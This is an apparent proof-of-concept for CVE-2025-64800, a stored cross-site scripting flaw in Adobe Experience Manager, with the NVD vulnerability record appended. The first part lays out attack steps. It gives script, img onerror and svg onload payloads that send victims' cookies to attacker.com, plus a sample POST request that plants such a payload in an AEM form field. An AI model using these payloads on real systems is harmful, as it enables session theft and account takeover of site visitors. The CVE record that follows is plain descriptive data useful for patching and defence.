CVE-2025-64800

<!-- CVE-2025-64800 PoC - Adobe Experience Manager Stored XSS --> <!-- Attack Vector: Inject malicious script into form field --> <!-- Step 1: Identify vulnerable form field in AEM --> <!-- Common vulnerable fields: comment sections, user profile fields, feedback forms --> <!-- Step 2: Inject XSS payload --> <!-- Basic payload --> <script>alert('XSS')</script> <!-- Cookie stealing payload --> <script> var cookies = document.cookie; fetch('https://attacker.com/log?cookie=' + btoa(cookies)); </script> <!-- Image tag-based XSS --> <img src=x onerror='this.src="https://attacker.com/"+document.cookie'> <!-- SVG-based XSS --> <svg/onload=fetch('https://attacker.com/?data='+document.cookie)> <!-- Step 3: Wait for victim to visit the page --> <!-- When page loads, script executes in victim's browser context --> <!-- Example POST request to submit XSS payload --> <!-- POST /content/forms/af/<form-name>/jcr:content/guideContainer.af.submit.jsp HTTP/1.1 Host: vulnerable-aem-server.com Content-Type: application/x-www-form-urlencoded fieldName=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>&submit=Submit -->

{"cve": {"id": "CVE-2025-64800", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:29.170", "lastModified": "2025-12-12T18:14:42.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}